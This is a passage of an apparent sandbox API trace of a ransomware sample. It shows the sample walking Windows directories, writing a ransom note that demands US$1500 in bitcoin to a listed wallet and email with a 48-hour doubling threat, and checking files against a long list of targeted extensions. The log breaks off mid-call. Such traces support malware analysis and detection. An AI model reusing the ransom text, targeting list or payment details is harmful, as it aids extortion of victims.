lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf884cf8b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf884cf8b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf88bf3ac, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x51a600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Editor.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.008] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.008] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.PowerShell.Editor.ni.dll") returned -1 [0109.008] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.PowerShell.Editor.ni.dll") returned -1 [0109.008] lstrcmpiA (lpString1="", lpString2="Microsoft.PowerShell.Editor.ni.dll") returned -1 [0109.008] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\*.*") returned="*.*" [0109.008] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\" [0109.008] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\") returned="" [0109.008] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\HOW TO DECRYPT FILES.txt" [0109.008] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\997418025a2c73d8088b0f59264a6f2b\\how to decrypt files.txt")) returned 0xffffffff [0109.008] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\997418025a2c73d8088b0f59264a6f2b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.011] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.011] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.012] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.015] CloseHandle (hObject=0x90) returned 1 [0109.016] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\", lpString2="Microsoft.PowerShell.Editor.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll" [0109.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.ems") returned 0 [0109.016] lstrlenA (lpString="*.ems") returned 5 [0109.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.db") returned 0 [0109.016] lstrlenA (lpString="*.db") returned 4 [0109.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.dbf") returned 0 [0109.016] lstrlenA (lpString="*.dbf") returned 5 [0109.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.myox") returned 0 [0109.016] lstrlenA (lpString="*.myox") returned 6 [0109.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.myo") returned 0 [0109.016] lstrlenA (lpString="*.myo") returned 5 [0109.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.qbw") returned 0 [0109.016] lstrlenA (lpString="*.qbw") returned 5 [0109.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.qbb") returned 0 [0109.016] lstrlenA (lpString="*.qbb") returned 5 [0109.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.qbm") returned 0 [0109.016] lstrlenA (lpString="*.qbm") returned 5 [0109.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.qbo") returned 0 [0109.016] lstrlenA (lpString="*.qbo") returned 5 [0109.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.qbx") returned 0 [0109.016] lstrlenA (lpString="*.qbx") returned 5 [0109.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.qba") returned 0 [0109.016] lstrlenA (lpString="*.qba") returned 5 [0109.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.qby") returned 0 [0109.017] lstrlenA (lpString="*.qby") returned 5 [0109.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.qbj") returned 0 [0109.017] lstrlenA (lpString="*.qbj") returned 5 [0109.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.ofx") returned 0 [0109.017] lstrlenA (lpString="*.ofx") returned 5 [0109.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.qif") returned 0 [0109.017] lstrlenA (lpString="*.qif") returned 5 [0109.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.mye") returned 0 [0109.017] lstrlenA (lpString="*.mye") returned 5 [0109.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.mbox") returned 0 [0109.017] lstrlenA (lpString="*.mbox") returned 6 [0109.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.eml") returned 0 [0109.017] lstrlenA (lpString="*.eml") returned 5 [0109.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.pst") returned 0 [0109.017] lstrlenA (lpString="*.pst") returned 5 [0109.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.ost") returned 0 [0109.017] lstrlenA (lpString="*.ost") returned 5 [0109.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.idx") returned 0 [0109.017] lstrlenA (lpString="*.idx") returned 5 [0109.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.dbx") returned 0 [0109.017] lstrlenA (lpString="*.dbx") returned 5 [0109.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.sql") returned 0 [0109.017] lstrlenA (lpString="*.sql") returned 5 [0109.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.mdb") returned 0 [0109.018] lstrlenA (lpString="*.mdb") returned 5 [0109.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.fdb") returned 0 [0109.018] lstrlenA (lpString="*.fdb") returned 5 [0109.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.wab") returned 0 [0109.018] lstrlenA (lpString="*.wab") returned 5 [0109.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.dat") returned 0 [0109.018] lstrlenA (lpString="*.dat") returned 5 [0109.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.txt") returned 0 [0109.018] lstrlenA (lpString="*.txt") returned 5 [0109.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.jpeg") returned 0 [0109.018] lstrlenA (lpString="*.jpeg") returned 6 [0109.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.jpg") returned 0 [0109.018] lstrlenA (lpString="*.jpg") returned 5 [0109.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.png") returned 0 [0109.018] lstrlenA (lpString="*.png") returned 5 [0109.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.php") returned 0 [0109.018] lstrlenA (lpString="*.php") returned 5 [0109.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.cs") returned 0 [0109.018] lstrlenA (lpString="*.cs") returned 4 [0109.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.cpp") returned 0 [0109.018] lstrlenA (lpString="*.cpp") returned 5 [0109.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.rar") returned 0 [0109.018] lstrlenA (lpString="*.rar") returned 5 [0109.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.zip") returned 0 [0109.019] lstrlenA (lpString="*.zip") returned 5 [0109.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.html") returned 0 [0109.019] lstrlenA (lpString="*.html") returned 6 [0109.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.htm") returned 0 [0109.019] lstrlenA (lpString="*.htm") returned 5 [0109.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.xlsx") returned 0 [0109.019] lstrlenA (lpString="*.xlsx") returned 6 [0109.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.xls") returned 0 [0109.019] lstrlenA (lpString="*.xls") returned 5 [0109.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.mp4") returned 0 [0109.019] lstrlenA (lpString="*.mp4") returned 5 [0109.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.ppt") returned 0 [0109.019] lstrlenA (lpString="*.ppt") returned 5 [0109.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.pptx") returned 0 [0109.019] lstrlenA (lpString="*.pptx") returned 6 [0109.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.doc") returned 0 [0109.019] lstrlenA (lpString="*.doc") returned 5 [0109.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.dot") returned 0 [0109.019] lstrlenA (lpString="*.dot") returned 5 [0109.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.docx") returned 0 [0109.019] lstrlenA (lpString="*.docx") returned 6 [0109.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.7z") returned 0 [0109.020] lstrlenA (lpString="*.7z") returned 4 [0109.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.tar") returned 0 [0109.020] lstrlenA (lpString="*.tar") returned 5 [0109.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.bz2") returned 0 [0109.020] lstrlenA (lpString="*.bz2") returned 5 [0109.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.gz") returned 0 [0109.020] lstrlenA (lpString="*.gz") returned 4 [0109.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.mkv") returned 0 [0109.020] lstrlenA (lpString="*.mkv") returned 5 [0109.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.eml") returned 0 [0109.020] lstrlenA (lpString="*.eml") returned 5 [0109.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.msg") returned 0 [0109.020] lstrlenA (lpString="*.msg") returned 5 [0109.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.edb") returned 0 [0109.020] lstrlenA (lpString="*.edb") returned 5 [0109.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.accdb") returned 0 [0109.020] lstrlenA (lpString="*.accdb") returned 7 [0109.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.odb") returned 0 [0109.020] lstrlenA (lpString="*.odb") returned 5 [0109.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.java") returned 0 [0109.020] lstrlenA (lpString="*.java") returned 6 [0109.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.asm") returned 0 [0109.021] lstrlenA (lpString="*.asm") returned 5 [0109.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.pfx") returned 0 [0109.021] lstrlenA (lpString="*.pfx") returned 5 [0109.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.pem") returned 0 [0109.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.p12") returned 0 [0109.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.gpg") returned 0 [0109.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.vsd") returned 0 [0109.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.odg") returned 0 [0109.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.raw") returned 0 [0109.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.nef") returned 0 [0109.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.svg") returned 0 [0109.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.psd") returned 0 [0109.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.vmx") returned 0 [0109.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.vmdk") returned 0 [0109.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.vdi") returned 0 [0109.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.lay6") returned 0 [0109.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.mpeg") returned 0 [0109.022] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.djvu") returned 0 [0109.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.tiff") returned 0 [0109.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.backup") returned 0 [0109.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.pdf") returned 0 [0109.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.cert") returned 0 [0109.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.docm") returned 0 [0109.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.xlsm") returned 0 [0109.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.dwg") returned 0 [0109.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.nd") returned 0 [0109.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\Microsoft.PowerShell.Editor.ni.dll", pszSpec="*.tlg") returned 0 [0109.023] PathMatchSpecA 